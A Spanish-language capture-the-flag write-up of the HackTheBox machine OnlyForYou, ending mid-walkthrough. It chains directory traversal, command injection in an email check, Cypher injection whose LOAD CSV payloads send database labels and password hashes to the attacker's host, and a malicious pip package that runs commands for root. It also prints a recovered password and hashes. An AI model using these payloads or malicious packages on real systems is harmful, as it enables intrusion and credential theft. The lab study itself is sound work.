En OnlyForYou encontramos una vulnerabilidad de Directory Traversal que nos permitio obtener el codigo fuente de la aplicacion web por donde logramos acceder tras descubrir una vulnerabilidad de Command Injection. Logramos obtener credenciales con Cypher Injection en una segunda aplicacion web. Finalmente escalamos privilegios con la creacion de un paquete de Python que es instalado con permisos privilegiados.
El sitio web aparentemente es un sitio estatico. En la parte del FAQ encontramos un “producto” en fase beta y se muestra un subdominio: beta.only4you.htb.
1
2
3
<p> We have some beta products to test. You can check it <ahref="http://beta.only4you.htb">here</a></p>
Directory Brute Forcing
feroxbuster muestra contenido mayormente del “directorio” static/.
π ~/htb/onlyforyou ❯ feroxbuster -u http://only4you.htb/
___ ___ __ __ __ __ __ ___
|__ |__ |__)|__)| / ` / \ \_/ ||\ |__
||___ |\ |\ |\__, \__/ / \ ||__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://only4you.htb/
🚀 Threads │ 50 📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.10.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 37l 58w 674c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 9l 155w 5417c http://only4you.htb/static/vendor/purecounter/purecounter_vanilla.js
200 GET 7l 27w 3309c http://only4you.htb/static/img/apple-touch-icon.png
200 GET 274l 604w 6492c http://only4you.htb/static/js/main.js
200 GET 1l 233w 13749c http://only4you.htb/static/vendor/glightbox/css/glightbox.min.css
200 GET 9l 23w 847c http://only4you.htb/static/img/favicon.png
200 GET 1936l 3839w 34056c http://only4you.htb/static/css/style.css
200 GET 12l 557w 35445c http://only4you.htb/static/vendor/isotope-layout/isotope.pkgd.min.js
200 GET 71l 380w 30729c http://only4you.htb/static/img/testimonials/testimonials-3.jpg
200 GET 1l 313w 14690c http://only4you.htb/static/vendor/aos/aos.js
200 GET 1l 218w 26053c http://only4you.htb/static/vendor/aos/aos.css
200 GET 112l 805w 65527c http://only4you.htb/static/img/team/team-3.jpg
200 GET 90l 527w 40608c http://only4you.htb/static/img/testimonials/testimonials-5.jpg
200 GET 88l 408w 36465c http://only4you.htb/static/img/testimonials/testimonials-4.jpg
200 GET 159l 946w 71778c http://only4you.htb/static/img/team/team-1.jpg
200 GET 172l 1093w 87221c http://only4you.htb/static/img/team/team-2.jpg
200 GET 13l 171w 16466c http://only4you.htb/static/vendor/swiper/swiper-bundle.min.css
200 GET 160l 818w 71959c http://only4you.htb/static/img/testimonials/testimonials-1.jpg
200 GET 1l 625w 55880c http://only4you.htb/static/vendor/glightbox/js/glightbox.min.js
200 GET 1l 133w 66571c http://only4you.htb/static/vendor/boxicons/css/boxicons.min.css
200 GET 96l 598w 48920c http://only4you.htb/static/img/team/team-4.jpg
200 GET 1876l 9310w 88585c http://only4you.htb/static/vendor/bootstrap-icons/bootstrap-icons.css
200 GET 7l 1225w 80457c http://only4you.htb/static/vendor/bootstrap/js/bootstrap.bundle.min.js
200 GET 244l 1332w 103224c http://only4you.htb/static/img/testimonials/testimonials-2.jpg
200 GET 14l 1683w 143281c http://only4you.htb/static/vendor/swiper/swiper-bundle.min.js
200 GET 2317l 11522w 110438c http://only4you.htb/static/vendor/remixicon/remixicon.css
200 GET 7l 2208w 195498c http://only4you.htb/static/vendor/bootstrap/css/bootstrap.min.css
200 GET 673l 2150w 34125c http://only4you.htb/
beta.only4you.htb
En el subdominio beta encontramos un sitio web con la opcion para descarga de codigo fuente, tambien dos direcciones resize y convert.
/resize muestra un formulario para cambiar el tamano de una imagen, al enviar una imagen nos redirige a /list, sin embargo no se muestra la imagen modificada.
/convert permite cambiar de jpg a png, en este caso si retorna la imagen.
Source Code
Al descargar y descomprimir el archivo de codigo fuente vemos que es una aplicacion escrita en python.
fromflaskimportFlask,request,send_file,render_template,flash,redirect,send_from_directoryimportos,uuid,posixpathfromwerkzeug.utilsimportsecure_filenamefrompathlibimportPathfromtoolimportconvertjp,convertpj,resizeimgapp=Flask(__name__)app.secret_key=uuid.uuid4().hexapp.config['MAX_CONTENT_LENGTH']=1024*1024app.config['RESIZE_FOLDER']='uploads/resize'app.config['CONVERT_FOLDER']='uploads/convert'app.config['LIST_FOLDER']='uploads/list'app.config['UPLOAD_EXTENSIONS']=['.jpg','.png']@app.route('/',methods=['GET'])defmain():returnrender_template('index.html')@app.route('/resize',methods=['POST','GET'])defresize():ifrequest.method=='POST':if'file'notinrequest.files:flash('Something went wrong, Try again!','danger')returnredirect(request.url)file=request.files['file']img=secure_filename(file.filename)ifimg!='':ext=os.path.splitext(img)[1]ifextnotinapp.config['UPLOAD_EXTENSIONS']:flash('Only png and jpg images are allowed!','danger')returnredirect(request.url)file.save(os.path.join(app.config['RESIZE_FOLDER'],img))status=resizeimg(img)ifstatus==False:flash('Image is too small! Minimum size needs to be 700x700','danger')returnredirect(request.url)else:flash('Image is succesfully uploaded!','success')else:flash('No image selected!','danger')returnredirect(request.url)returnrender_template('resize.html',clicked="True"),{"Refresh":"5; url=/list"}else:returnrender_template('resize.html',clicked="False")@app.route('/convert',methods=['POST','GET'])defconvert():ifrequest.method=='POST':if'file'notinrequest.files:flash('Something went wrong, Try again!','danger')returnredirect(request.url)file=request.files['file']img=secure_filename(file.filename)ifimg!='':ext=os.path.splitext(img)[1]ifextnotinapp.config['UPLOAD_EXTENSIONS']:flash('Only jpg and png images are allowed!','danger')returnredirect(request.url)file.save(os.path.join(app.config['CONVERT_FOLDER'],img))ifext=='.png':image=convertpj(img)returnsend_from_directory(app.config['CONVERT_FOLDER'],image,as_attachment=True)else:image=convertjp(img)returnsend_from_directory(app.config['CONVERT_FOLDER'],image,as_attachment=True)else:flash('No image selected!','danger')returnredirect(request.url)returnrender_template('convert.html')else:[f.unlink()forfinPath(app.config['CONVERT_FOLDER']).glob("*")iff.is_file()]returnrender_template('convert.html')@app.route('/source')defsend_report():returnsend_from_directory('static','source.zip',as_attachment=True)@app.route('/list',methods=['GET'])deflist():returnrender_template('list.html')@app.route('/download',methods=['POST'])defdownload():image=request.form['image']filename=posixpath.normpath(image)if'..'infilenameorfilename.startswith('../'):flash('Hacking detected!','danger')returnredirect('/list')ifnotos.path.isabs(filename):filename=os.path.join(app.config['LIST_FOLDER'],filename)try:ifnotos.path.isfile(filename):flash('Image doesn\'t exist!','danger')returnredirect('/list')except(TypeError,ValueError):raiseBadRequest()returnsend_file(filename,as_attachment=True)@app.errorhandler(404)defpage_not_found(error):returnrender_template('404.html'),404@app.errorhandler(500)defserver_error(error):returnrender_template('500.html'),500@app.errorhandler(400)defbad_request(error):returnrender_template('400.html'),400@app.errorhandler(405)defmethod_not_allowed(error):returnrender_template('405.html'),405if__name__=='__main__':app.run(host='127.0.0.1',port=80,debug=False)
Tambien el archivo tool.py en donde se muestran las funciones para modificar las imagenes.
Algo por lo que destacar es la ruta /download donde observamos que existe un tipo de “filtro” para el nombre del archivo que se desea descargar. En este caso vemos posible una vulnerabilidad de directory traversal.
Realizamos la solicitud para el archivo /etc/passwd, al ser muy simple el filtro pudimos realizar algun tipo de “bypass”, logrando obtener el archivo. Podemos destacar de este archivo dos nombres de usuario: john y dev, y neo4j.
# image=/../../../var/www/only4you.htb/app.pyfromflaskimportFlask,render_template,request,flash,redirectfromformimportsendmessageimportuuidapp=Flask(__name__)app.secret_key=uuid.uuid4().hex@app.route('/',methods=['GET','POST'])defindex():ifrequest.method=='POST':email=request.form['email']subject=request.form['subject']message=request.form['message']ip=request.remote_addrstatus=sendmessage(email,subject,message,ip)ifstatus==0:flash('Something went wrong!','danger')elifstatus==1:flash('You are not authorized!','danger')else:flash('Your message was successfuly sent! We will reply as soon as possible.','success')returnredirect('/#contact')else:returnrender_template('index.html')@app.errorhandler(404)defpage_not_found(error):returnrender_template('404.html'),404@app.errorhandler(500)defserver_errorerror(error):returnrender_template('500.html'),500@app.errorhandler(400)defbad_request(error):returnrender_template('400.html'),400@app.errorhandler(405)defmethod_not_allowed(error):returnrender_template('405.html'),405if__name__=='__main__':app.run(host='127.0.0.1',port=80,debug=False)
Descubrimos que en la ruta principal existe una funcion que permite enviar emails a partir de los valores del formulario presentado al final de la pagina.
fromformimportsendmessage[...]@app.route('/',methods=['GET','POST'])defindex():ifrequest.method=='POST':email=request.form['email']subject=request.form['subject']message=request.form['message']ip=request.remote_addrstatus=sendmessage(email,subject,message,ip)ifstatus==0:flash('Something went wrong!','danger')elifstatus==1:flash('You are not authorized!','danger')else:flash('Your message was successfuly sent! We will reply as soon as possible.','success')returnredirect('/#contact')else:returnrender_template('index.html')
En form se muestra la funcion sendmessage() que hace uso de issecure() para verificar el email y direccion ip o dominio el cual es enviado.
# image=/../../../var/www/only4you.htb/form.pyimport smtplib, re
from email.message import EmailMessage
from subprocess import PIPE, run
import ipaddress
def issecure(email, ip):
if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
return0else:
domain= email.split("@", 1)[1]result= run([f"dig txt {domain}"], shell=True, stdout=PIPE)output= result.stdout.decode('utf-8')if"v=spf1" not in output:
return1else:
domains=[]ips=[]if"include:" in output:
dms=''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:") dms.pop(0)for domain in dms:
domains.append(domain)while True:
for domain in domains:
result= run([f"dig txt {domain}"], shell=True, stdout=PIPE)output= result.stdout.decode('utf-8')if"include:" in output:
dms=''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:") domains.clear()for domain in dms:
domains.append(domain)elif"ip4:" in output:
ipaddresses=''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:") ipaddresses.pop(0)for i in ipaddresses:
ips.append(i)else:
pass
breakelif"ip4" in output:
ipaddresses=''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:") ipaddresses.pop(0)for i in ipaddresses:
ips.append(i)else:
return1for i in ips:
ifip== i:
return2elif ipaddress.ip_address(ip) in ipaddress.ip_network(i):
return2else:
return1def sendmessage(email, subject, message, ip):
status= issecure(email, ip)ifstatus== 2:
msg= EmailMessage() msg['From']= f'{email}' msg['To']='info@only4you.htb' msg['Subject']= f'{subject}' msg['Message']= f'{message}'smtp= smtplib.SMTP(host='localhost', port=25) smtp.send_message(msg) smtp.quit()return status
elifstatus== 1:
return status
else:
return status
Command Injection
Si observamos a detalle la funcion issecure() vemos que, si la direccion email es aceptada por la expresion regular pasa a verificar el dominio. En este observamos que se pasa el valor directamente a una ejecucion de comandos y no existe un filtro antes ocurriendo esto en dos partes del codigo, por lo que podriamos inyectar comandos y que sean ejecutados.
Llenamos el formulario y realizamos una solicitud, interceptando la solicitud y editando el valor del parametro email, agregando un ping hacia nuestra maquina y codificando el comando en URL (CTR+U en BurpSuite).
Y en la maquina descargamos y ejecutamos como cliente.
1
$ ./chisel_64 client 10.10.14.112:7070 R:socks
En FoxyProxy agregamos nuestra configuracion.
Gogs
Observamos que en el puerto 3000 corre Gogs, sin embargo no tenemos credenciales validas para acceder.
WebApp
En el puerto 8001 encontramos un formulario de login.
Logramos acceder utilizando las credenciales admin:admin y nos redirige aun dashboard.
Si revisamos el codigo fuente de la pagina encontramos las rutas /dashboard, /employees, /profile y /logout. Ademas vemos que se habla sobre una migracion a neo4j. Anteriormente vimos que existe el usuario neo4j en la maquina.
Cypher Injection
En la ruta /employees encontramos un formulario que nos permite la busqueda de empleados que, seguramente estan siendo obtenidos de la base de datos neo4j.
HackTricks sugiere varios payloads para una inyeccion en neo4j. Intentamos con el payload para obtener la version de Neo4j el cual funciono, observamos la version en una solicitud http en nuestro servidor.
1
2
3
4
# ' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.14.112/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //10.10.11.210 - - [13/Jun/2023 18:35:32] code 400, message Bad request syntax ('GET /?version=5.6.0&name=Neo4j Kernel&edition=community HTTP/1.1')10.10.11.210 - - [13/Jun/2023 18:35:32]"GET /?version=5.6.0&name=Neo4j Kernel&edition=community HTTP/1.1"400 -
Asi mismo logramos obtener los labels los cuales son dos: user y employee.
1
2
3
4
5
6
# labels from chivato# ' OR 1=1 WITH 1337 AS x CALL db.labels() YIELD label AS d LOAD CSV FROM 'http://10.10.14.112/?'+d AS y RETURN 0 as _0//10.10.11.210 - - [13/Jun/2023 18:47:13]"GET /?user HTTP/1.1"200 -
10.10.11.210 - - [13/Jun/2023 18:47:14]"GET /?employee HTTP/1.1"200 -
10.10.11.210 - - [13/Jun/2023 18:47:14]"GET /?user HTTP/1.1"200 -
10.10.11.210 - - [13/Jun/2023 18:47:14]"GET /?employee HTTP/1.1"200 -
Finalmente las keys de user y employee, en donde user muestra dos usuarios y dos hashes.
1
2
3
4
5
6
7
8
9
10
11
# ' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.112/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //10.10.11.210 - - [13/Jun/2023 18:47:52]"GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1"200 -
10.10.11.210 - - [13/Jun/2023 18:47:52]"GET /?username=admin HTTP/1.1"200 -
10.10.11.210 - - [13/Jun/2023 18:47:53]"GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1"200 -
10.10.11.210 - - [13/Jun/2023 18:47:53]"GET /?username=john HTTP/1.1"200 -
# ' OR 1=1 WITH 1 as a MATCH (f:employee) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.112/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //10.10.11.210 - - [15/Jun/2023 20:48:04]"GET /?city=London HTTP/1.1"200 -
10.10.11.210 - - [15/Jun/2023 20:48:04]"GET /?salary=$36,738 HTTP/1.1"200 -
10.10.11.210 - - [15/Jun/2023 20:48:04] code 400, message Bad request syntax ('GET /?name=Sarah Jhonson HTTP/1.1')10.10.11.210 - - [15/Jun/2023 20:48:04]"GET /?name=Sarah Jhonson HTTP/1.1"400 -
Finalmente logramos acceder al usuario john y leer nuestra flag user.txt.
1
2
3
4
5
6
7
8
9
10
11
$ su john
Password: ThisIs4You
cdwhoami;id;pwdjohn
uid=1000(john)gid=1000(john)groups=1000(john)/home/john
ls
user.txt
cat user.txt
a3c479cb72df369711e20ef71e381c57
π ~/htb/onlyforyou ❯ ssh john@only4you.htb # ThisIs4YouThe authenticity of host 'only4you.htb (10.10.11.210)' can't be established.
ED25519 key fingerprint is SHA256:U8eFq/5B0v+ZYi75z7P7z+tVF+SfX4vocJo2UsHEsxM.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'only4you.htb' (ED25519) to the list of known hosts.
john@only4you.htb's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-146-generic x86_64) * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue 13 Jun 2023 10:59:27 PM UTC
System load: 0.0
Usage of /: 84.4% of 6.23GB
Memory usage: 44%
Swap usage: 0%
Processes: 249 Users logged in: 0 IPv4 address for eth0: 10.10.11.210
IPv6 address for eth0: dead:beef::250:56ff:feb9:b7a7
* Introducing Expanded Security Maintenance for Applications.
Receive updates to over 25,000 software packages with your
Ubuntu Pro subscription. Free for personal use.
https://ubuntu.com/pro
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue Apr 18 07:46:32 2023 from 10.10.14.40
john@only4you:~$ whoami
john
john@only4you:~$
Al ejecutar sudo -l -l observamos que john puede ejecutar un comando como root. El comando descarga e instala un paquete en la direccion local y puerto 3000 en donde Gogs se encuentra tambien se muestra el uso de * por lo que puede ser cualquier nombre del archivo.
1
2
3
4
5
6
7
8
9
10
11
12
john@only4you:~$ sudo -l -l # ThisIs4YouMatching Defaults entries for john on only4you:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on only4you:
Sudoers entry:
RunAsUsers: root
Options: !authenticate
Commands:
/usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz
john@only4you:~$
Malicious Python Package
pip download es similar a pip install por lo que buscamos formas de explotar este comando o al menos el presentado en la maquina. Encontramos el post Malicious Python Packages and Code Execution via pip download en el que muestra la creacion de un paquete que permite ejecutar comandos al ser instalado.
Seguimos los pasos para crear el paquete, el comando a ejecutar es la creacion de un archivo en el directorio /tmp/.
1
2
3
4
5
6
7
[ .. ]def RunCommand():
import os
os.system('touch /tmp/sckull')[ .. ]
Construimos nuestro paquete utilizando python -m build. Vemos que nuestro paquete se creo en dist/.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
π this_is_fine_wuzzi main ✗ ❯ python -m build
* Creating virtualenv isolated environment...
* Installing packages in isolated environment... (setuptools >= 40.8.0, wheel)* Getting build dependencies for sdist...
running egg_info
[...]adding 'priv-0.0.1.dist-info/LICENSE'adding 'priv-0.0.1.dist-info/METADATA'adding 'priv-0.0.1.dist-info/WHEEL'adding 'priv-0.0.1.dist-info/top_level.txt'adding 'priv-0.0.1.dist-info/RECORD'removing build/bdist.linux-x86_64/wheel
Successfully built priv-0.0.1.tar.gz and priv-0.0.1-py3-none-any.whl
π this_is_fine_wuzzi main ✗ ❯ ls dist
priv-0.0.1-py3-none-any.whl priv-0.0.1.tar.gz
π this_is_fine_wuzzi main ✗ ❯
Ya que el comando unicamente acepta el puerto local de gogs intentamos ingresar con las credenciales de john el cual fue exitoso.
Creamos un repositorio para almacenar nuestro paquete.